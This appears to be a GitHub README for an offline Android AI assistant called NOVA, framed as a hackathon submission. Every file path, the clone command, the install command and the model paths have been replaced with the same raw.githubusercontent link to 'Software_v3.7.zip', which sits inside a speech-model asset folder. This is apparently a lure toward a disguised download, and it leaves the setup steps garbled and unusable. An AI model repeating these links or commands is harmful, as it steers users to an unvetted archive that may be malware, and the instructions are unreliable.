Samsung EnnovateX 2025 AI Challenge Submission

• Problem Statement – #2 Building the Untethered, Always-On AI Companion
• Team name – IdeaFlow
• Team members – Nitheeswaran M, Sree Ram Roshan A S
• Demo Video Link – YouTube Link

---

NOVA – Offline AI Companion with Vision & Voice

Offline-first AI assistant for Android
Voice | Vision | Chat — all on-device, no cloud required.

---

📖 Overview

NOVA is an Android application that brings together:

• 🗣️ Offline Speech Recognition (Vosk)
• 💬 On-device LLM inference (MediaPipe GenAI .task bundles)
• 📷 Real-time Object Detection (TensorFlow Lite EfficientDet)
• 🔊 Text-to-Speech (Android TTS)

Unlike most assistants that rely on cloud APIs, NOVA is offline-first, designed for privacy, low-latency responses, and accessibility in areas without reliable internet.
Think of it as a ChatGPT-style experience + computer vision awareness — but entirely on-device.

---

✨ Features

• Conversational Chat UI inspired by ChatGPT
• Wake words: “Hey Nova”, “Ok Nova”
• Camera Vision Mode: describes objects (“I see a laptop”)
• Offline operation: all models run locally
• Voice feedback with natural Text-to-Speech
• Material Design: app bar, watermark branding, chat bubbles

---

🏗️ Architecture

Data Flow:

Conversation:
User Speech → Vosk ASR → LLM (MediaPipe GenAI) → TTS + Chat UI

Vision:
Camera → TensorFlow Lite Detector → NOVA Response → TTS + Overlay

---

📂 Project Structure

NOVA-main/
│── app/
│   ├── src/main/java/com/example/nova/
│   │   ├── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip        # Core activity: chat + vision
│   │   ├── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip     # Vosk integration
│   │   ├── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip       # MediaPipe LLM wrapper
│   │   ├── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip      # TFLite object detection
│   │   ├── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip       # Intent routing
│   │   └── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip      # Model bundle validator
│   ├── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip
│   ├── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip
│   └── ...
├── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip
├── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip
├── https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip

---

⚙️ Setup & Installation

Prerequisites

• Android Studio Arctic Fox (2020.3.1) or newer
• Android SDK 24+
• Gradle KTS

Steps

1. Clone the repo

   git clone https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip
   cd NOVA-main

2. Open in Android Studio
   Sync Gradle and let dependencies install.

3. Build & Run

   ./gradlew assembleDebug
   adb install https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip

---

📦 Model Download & Setup

The Gemma .task model is not included in this repository because of GitHub’s file size limits.
Instead, download it directly from Hugging Face:

🔗 Download Link

• Gemma3-1B-IT .task model (Q4, EKV2048)

📂 Where to Place the Model

After downloading:

1. Copy the file to your phone’s Downloads folder:

   https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip
   

2. Open the NOVA app → when prompted, import the model.
   The app will validate the .task file and move it into its private storage:

   https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip
   

3. Once imported, you’ll see:

   Model imported: https://raw.githubusercontent.com/jackso1328/Nova/main/app/src/main/assets/vosk-model-small-en-us-0.15/graph/Software_v3.7.zip (xxxx MB). Say something…
   

✅ From now on, the app will auto-load the Gemma model at startup.

⚠️ Note on performance:

• First-time warm-up may take 30–60 seconds (model graph compilation).
• Runs fully offline after that.
• Works best on devices with 6GB+ RAM.

---

🧑‍💻 Tech Stack

• Kotlin + Java – core development
• Material Design Components – UI
• Vosk Android – offline ASR
• MediaPipe Tasks GenAI – LLM inference
• TensorFlow Lite – object detection
• Android TTS – voice feedback
• Gradle (KTS) – build system
• Min SDK: 24
• Target SDK: 34

---

🚀 Roadmap

• Hybrid cloud fallback (if internet available)
• Persistent conversation memory
• Multilingual speech + text support
• Optimized models for AR/wearables

---

🤝 Contributing

Contributions, issues, and feature requests are welcome!
Please check the issues page.

---

📜 License

Distributed under the MIT License. See LICENSE for details.

---

🙌 Acknowledgements

• Vosk
• MediaPipe
• TensorFlow Lite
• Hugging Face – Gemma3-1B-IT